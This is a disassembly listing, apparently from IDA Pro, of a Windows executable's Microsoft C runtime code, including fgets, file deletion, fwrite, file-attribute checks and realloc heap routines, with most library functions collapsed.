; [00000025 BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000FA BYTES: COLLAPSED FUNCTION _sprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION __snprintf. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD0	proc near		; CODE XREF: sub_401CC7+76DFp
					; sub_401CC7+770Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx

loc_41FDE5:				; CODE XREF: sub_41FDD0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FE09
		push	offset aStringNull ; "string !=	NULL"
		push	0		; int
		push	3Bh		; Value
		push	offset aFgets_c	; "fgets.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FE09
		int	3		; Trap to Debugger

loc_41FE09:				; CODE XREF: sub_41FDD0+19j
					; sub_41FDD0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FDE5

loc_41FE0F:				; CODE XREF: sub_41FDD0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41FE33
		push	offset aStrNull	; "str != NULL"
		push	0		; int
		push	3Ch		; Value
		push	offset aFgets_c	; "fgets.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FE33
		int	3		; Trap to Debugger

loc_41FE33:				; CODE XREF: sub_41FDD0+43j
					; sub_41FDD0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FE0F
		cmp	[ebp+arg_4], 0
		jg	short loc_41FE46
		xor	eax, eax
		jmp	loc_41FF07
; ---------------------------------------------------------------------------

loc_41FE46:				; CODE XREF: sub_41FDD0+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+File], ecx
		mov	edx, [ebp+File]
		push	edx
		call	__lock_file
		add	esp, 4

loc_41FE58:				; CODE XREF: sub_41FDD0:loc_41FEEDj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_41FEF2
		mov	ecx, [ebp+File]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+File]
		mov	[eax+4], edx
		mov	ecx, [ebp+File]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41FEA3
		mov	edx, [ebp+File]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+File]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+File]
		mov	[ecx], eax
		jmp	short loc_41FEB2
; ---------------------------------------------------------------------------

loc_41FEA3:				; CODE XREF: sub_41FDD0+B1j
		mov	edx, [ebp+File]
		push	edx		; File
		call	__filbuf
		add	esp, 4
		mov	[ebp+var_14], eax

loc_41FEB2:				; CODE XREF: sub_41FDD0+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_41FED1
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41FECF
		mov	[ebp+var_10], 0
		jmp	short loc_41FEF8
; ---------------------------------------------------------------------------

loc_41FECF:				; CODE XREF: sub_41FDD0+F4j
		jmp	short loc_41FEF2
; ---------------------------------------------------------------------------

loc_41FED1:				; CODE XREF: sub_41FDD0+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41FEED
		jmp	short loc_41FEF2
; ---------------------------------------------------------------------------

loc_41FEED:				; CODE XREF: sub_41FDD0+119j
		jmp	loc_41FE58
; ---------------------------------------------------------------------------

loc_41FEF2:				; CODE XREF: sub_41FDD0+95j
					; sub_41FDD0:loc_41FECFj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0

loc_41FEF8:				; CODE XREF: sub_41FDD0+FDj
		mov	ecx, [ebp+File]
		push	ecx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_10]

loc_41FF07:				; CODE XREF: sub_41FDD0+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FDD0	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000331 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001B BYTES: COLLAPSED FUNCTION _strtoul.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420290	proc near		; CODE XREF: sub_401CC7+5ADDp
					; .text:004202E7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F6388	; DeleteFileA
		test	eax, eax
		jnz	short loc_4202AD
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_4202B4
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420290+10j
		mov	[ebp+var_4], 0

loc_4202B4:				; CODE XREF: sub_420290+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4202CB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__dosmaperr
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4202CD
; ---------------------------------------------------------------------------

loc_4202CB:				; CODE XREF: sub_420290+28j
		xor	eax, eax

loc_4202CD:				; CODE XREF: sub_420290+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_420290	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_420290
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000C1 BYTES: COLLAPSED FUNCTION _fprintf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000145 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000F3 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000021 BYTES: COLLAPSED FUNCTION __fpmath.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F47BC
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F47BC, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000135 BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *).	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_4211B0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_4211C0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION sub_4211D0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000056 BYTES: COLLAPSED FUNCTION _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000026 BYTES: COLLAPSED FUNCTION __CxxLongjmpUnwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo	const *,void *,int,ulong). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void	*,void *). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000CC BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000081 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000A1 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000001C BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000B3 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000004D BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000181 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000127 BYTES: COLLAPSED FUNCTION __fseek_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FE0(void *Str,size_t Size,size_t Count,FILE *File)

sub_421FE0	proc near		; CODE XREF: sub_416D5D+127p
					; .text:0041C355p ...

var_4		= dword	ptr -4
Str		= dword	ptr  8
Size		= dword	ptr  0Ch
Count		= dword	ptr  10h
File		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+File]
		push	eax
		call	__lock_file
		add	esp, 4
		mov	ecx, [ebp+File]
		push	ecx		; File
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	_fwrite
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+File]
		push	edx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421FE0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000219 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+"	TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422240	proc near		; CODE XREF: sub_4174A9+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F63A0	; GetFileAttributesA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42226B
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42229C
; ---------------------------------------------------------------------------

loc_42226B:				; CODE XREF: sub_422240+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42229A
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_42229A
		call	__errno
		mov	dword ptr [eax], 0Dh
		call	___doserrno
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_42229C
; ---------------------------------------------------------------------------

loc_42229A:				; CODE XREF: sub_422240+33j
					; sub_422240+3Dj
		xor	eax, eax

loc_42229C:				; CODE XREF: sub_422240+29j
					; sub_422240+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_422240	endp

; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001BF BYTES: COLLAPSED FUNCTION __strupr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalpha.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isupper.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _islower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isdigit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _ispunct.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isalnum.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isprint.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION _isgraph.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003C BYTES: COLLAPSED FUNCTION _iscntrl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION ___isascii. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION ___toascii. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsymf. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___iscsym. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000B BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION _tolower.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012B BYTES: COLLAPSED FUNCTION _tolower_0. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+"	TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001EB BYTES: COLLAPSED FUNCTION __mbstowcs_lk. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000132 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_423052	proc near		; DATA XREF: .rdata:0043DDE4o
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, [ebp-68h]
		push	edx
		call	__XcptFilter
		add	esp, 8
		retn
sub_423052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42306D	proc near		; DATA XREF: .rdata:0043DDE8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax		; Code
		call	__exit
sub_42306D	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000028 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002A BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000012C BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000029 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423320	proc near		; CODE XREF: __CrtDbgReport+113p
					; _CrtMessageWindow+33p
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F64CC	; DebugBreak
		pop	ebp
		retn
sub_423320	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000057 BYTES: COLLAPSED FUNCTION __CrtSetReportMode. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000007E BYTES: COLLAPSED FUNCTION __CrtSetReportFile. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F4E90
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F4E90, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000390 BYTES: COLLAPSED FUNCTION __CrtDbgReport. PRESS KEYPAD "+" TO EXPAND]
; [0000030C BYTES: COLLAPSED FUNCTION _CrtMessageWindow. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000007A BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __close_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000092 BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000044 BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000041 BYTES: COLLAPSED FUNCTION __fflush_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __flushall. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000013F BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000030 BYTES: COLLAPSED FUNCTION _set_new_handler(int (*)(uint)). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F47F8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002D BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000009F BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000097 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __unlock.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001C BYTES: COLLAPSED FUNCTION __lockerr_exit. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_4:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __malloc_base. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __nh_malloc_base.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_424345. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000077 BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4243C7	proc near		; CODE XREF: __heap_alloc_base+E0p
					; DATA XREF: .rdata:0043E054o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_4243C7	endp

; ---------------------------------------------------------------------------
; [0000005B BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424440	proc near		; CODE XREF: _realloc_help+2D4p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004244EC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 004245E5 SIZE 00000068 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E058
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_424470
		xor	eax, eax
		jmp	loc_42463C
; ---------------------------------------------------------------------------

loc_424470:				; CODE XREF: sub_424440+27j
		cmp	dword_4F4E6C, 3
		jnz	loc_424528
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4244D3
		mov	[ebp+var_1C], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F4E8C
		ja	short loc_4244D3
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	___sbh_resize_block
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4244D3
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_1C], edx

loc_4244D3:				; CODE XREF: sub_424440+61j
					; sub_424440+73j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4244E1
		jmp	short loc_4244EC
sub_424440	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244E1	proc near		; CODE XREF: sub_424440+9Ap
					; DATA XREF: .rdata:0043E060o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_4244E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424440

loc_4244EC:				; CODE XREF: sub_424440+9Fj
		cmp	[ebp+var_20], 0
		jnz	short loc_424523
		cmp	[ebp+arg_4], 0
		jnz	short loc_4244FF
		mov	[ebp+arg_4], 1

loc_4244FF:				; CODE XREF: sub_424440+B6j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_424523:				; CODE XREF: sub_424440+B0j
		jmp	loc_424639
; ---------------------------------------------------------------------------

loc_424528:				; CODE XREF: sub_424440+37j
		cmp	dword_4F4E6C, 2
		jnz	loc_424606
		cmp	[ebp+arg_4], 0
		jnz	short loc_424542
		mov	[ebp+arg_4], 1

loc_424542:				; CODE XREF: sub_424440+F9j
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
